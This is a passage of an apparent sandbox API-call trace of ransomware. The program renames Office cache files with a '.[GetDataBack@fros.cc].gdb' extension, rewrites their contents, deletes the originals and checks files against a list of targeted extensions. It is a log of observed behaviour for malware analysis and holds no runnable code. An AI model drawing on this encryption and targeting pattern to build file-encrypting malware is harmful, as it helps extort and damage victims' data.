lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0117.904] CloseHandle (hObject=0x1ac) returned 1 [0120.437] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0120.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.438] lstrlenW (lpString=".doc") returned 4 [0120.438] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0120.438] lstrlenW (lpString=".docx") returned 5 [0120.438] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0120.438] lstrlenW (lpString=".pdf") returned 4 [0120.438] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0120.438] lstrlenW (lpString=".xls") returned 4 [0120.438] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0120.438] lstrlenW (lpString=".xlsx") returned 5 [0120.438] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0120.438] lstrlenW (lpString=".ppt") returned 4 [0120.438] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0120.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.438] lstrlenW (lpString=".zip") returned 4 [0120.438] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0120.438] lstrlenW (lpString=".rar") returned 4 [0120.438] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0120.438] lstrlenW (lpString=".bz2") returned 4 [0120.438] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0120.438] lstrlenW (lpString=".7z") returned 3 [0120.438] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0120.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.438] lstrlenW (lpString=".dbf") returned 4 [0120.438] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0120.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.438] lstrlenW (lpString=".1cd") returned 4 [0120.438] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0120.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.439] lstrlenW (lpString=".jpg") returned 4 [0120.439] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.439] lstrlenW (lpString=".doc") returned 4 [0120.439] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString=".docx") returned 5 [0120.439] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0120.439] lstrlenW (lpString=".pdf") returned 4 [0120.439] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString=".xls") returned 4 [0120.439] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString=".xlsx") returned 5 [0120.439] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0120.439] lstrlenW (lpString=".ppt") returned 4 [0120.439] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.439] lstrlenW (lpString=".zip") returned 4 [0120.439] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString=".rar") returned 4 [0120.439] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString=".bz2") returned 4 [0120.439] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0120.439] lstrlenW (lpString=".7z") returned 3 [0120.439] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0120.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.439] lstrlenW (lpString=".dbf") returned 4 [0120.439] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0120.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.439] lstrlenW (lpString=".1cd") returned 4 [0120.439] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0120.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0120.439] lstrlenW (lpString=".jpg") returned 4 [0120.439] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0120.439] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0120.440] lstrlenW (lpString="WordMUI.msi") returned 11 [0120.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0120.440] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2522624) returned 1 [0120.440] CloseHandle (hObject=0x1ac) returned 1 [0120.440] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0120.440] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.440] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0120.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0120.637] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0120.637] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0120.637] ReadFile (in: hFile=0x1ec, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0120.817] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0120.818] ReadFile (in: hFile=0x1ec, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0120.874] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0120.874] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0120.874] ReadFile (in: hFile=0x1ec, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0120.892] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0120.892] WriteFile (in: hFile=0x1ec, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc0102, lpOverlapped=0x0) returned 1 [0121.183] SetEndOfFile (hFile=0x1ec) returned 1 [0121.395] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0121.395] WriteFile (in: hFile=0x1ec, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0121.396] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0121.396] WriteFile (in: hFile=0x1ec, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0121.402] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0121.402] WriteFile (in: hFile=0x1ec, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0121.405] CloseHandle (hObject=0x1ec) returned 1 [0122.039] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0122.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.039] lstrlenW (lpString=".doc") returned 4 [0122.039] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0122.039] lstrlenW (lpString=".docx") returned 5 [0122.039] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0122.039] lstrlenW (lpString=".pdf") returned 4 [0122.039] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0122.039] lstrlenW (lpString=".xls") returned 4 [0122.039] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0122.039] lstrlenW (lpString=".xlsx") returned 5 [0122.039] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0122.039] lstrlenW (lpString=".ppt") returned 4 [0122.039] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0122.039] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.039] lstrlenW (lpString=".zip") returned 4 [0122.039] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0122.039] lstrlenW (lpString=".rar") returned 4 [0122.039] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0122.039] lstrlenW (lpString=".bz2") returned 4 [0122.039] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString=".7z") returned 3 [0122.040] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".dbf") returned 4 [0122.040] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".1cd") returned 4 [0122.040] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".jpg") returned 4 [0122.040] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".doc") returned 4 [0122.040] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString=".docx") returned 5 [0122.040] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0122.040] lstrlenW (lpString=".pdf") returned 4 [0122.040] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0122.040] lstrlenW (lpString=".xls") returned 4 [0122.040] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0122.040] lstrlenW (lpString=".xlsx") returned 5 [0122.040] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0122.040] lstrlenW (lpString=".ppt") returned 4 [0122.040] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".zip") returned 4 [0122.040] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0122.040] lstrlenW (lpString=".rar") returned 4 [0122.040] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0122.040] lstrlenW (lpString=".bz2") returned 4 [0122.040] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString=".7z") returned 3 [0122.040] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".dbf") returned 4 [0122.040] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".1cd") returned 4 [0122.040] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0122.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0122.040] lstrlenW (lpString=".jpg") returned 4 [0122.040] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0122.041] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0122.041] lstrlenW (lpString="Proof.msi") returned 9 [0122.041] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.218] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=881152) returned 1 [0122.218] CloseHandle (hObject=0x214) returned 1 [0122.218] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0122.218] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.218] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.218] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0122.219] GetLastError () returned 0x0 [0122.219] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0xd7200, lpOverlapped=0x0) returned 1 [0122.238] WriteFile (in: hFile=0x224, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xd7210, lpOverlapped=0x0) returned 1 [0122.254] ReadFile (in: hFile=0x214, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0122.254] WriteFile (in: hFile=0x224, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xe6, lpOverlapped=0x0) returned 1 [0122.254] SetEndOfFile (hFile=0x224) returned 1 [0122.255] CloseHandle (hObject=0x224) returned 1 [0122.262] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0122.528] SetEndOfFile (hFile=0x214) returned 1 [0122.534] CloseHandle (hObject=0x214) returned 1 [0122.534] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0122.534] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.535] lstrlenW (lpString=".doc") returned 4 [0122.535] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0122.535] lstrlenW (lpString=".docx") returned 5 [0122.535] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0122.535] lstrlenW (lpString=".pdf") returned 4 [0122.535] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0122.535] lstrlenW (lpString=".xls") returned 4 [0122.535] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0122.535] lstrlenW (lpString=".xlsx") returned 5 [0122.535] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0122.535] lstrlenW (lpString=".ppt") returned 4 [0122.535] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.535] lstrlenW (lpString=".zip") returned 4 [0122.535] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0122.535] lstrlenW (lpString=".rar") returned 4 [0122.535] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0122.535] lstrlenW (lpString=".bz2") returned 4 [0122.535] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0122.535] lstrlenW (lpString=".7z") returned 3 [0122.535] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.535] lstrlenW (lpString=".dbf") returned 4 [0122.535] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.535] lstrlenW (lpString=".1cd") returned 4 [0122.535] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.535] lstrlenW (lpString=".jpg") returned 4 [0122.535] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.536] lstrlenW (lpString=".doc") returned 4 [0122.536] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0122.536] lstrlenW (lpString=".docx") returned 5 [0122.536] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0122.536] lstrlenW (lpString=".pdf") returned 4 [0122.536] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0122.536] lstrlenW (lpString=".xls") returned 4 [0122.536] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0122.536] lstrlenW (lpString=".xlsx") returned 5 [0122.536] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0122.536] lstrlenW (lpString=".ppt") returned 4 [0122.536] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0122.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.536] lstrlenW (lpString=".zip") returned 4 [0122.536] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0122.536] lstrlenW (lpString=".rar") returned 4 [0122.536] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0122.536] lstrlenW (lpString=".bz2") returned 4 [0122.536] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0122.536] lstrlenW (lpString=".7z") returned 3 [0122.536] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0122.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.536] lstrlenW (lpString=".dbf") returned 4 [0122.536] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0122.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.536] lstrlenW (lpString=".1cd") returned 4 [0122.536] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0122.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0122.536] lstrlenW (lpString=".jpg") returned 4 [0122.536] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0122.536] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0122.536] lstrlenW (lpString="Proof.msi") returned 9 [0122.536] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.537] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=885760) returned 1 [0122.537] CloseHandle (hObject=0x214) returned 1 [0122.537] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0122.537] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.537] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0122.537] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, 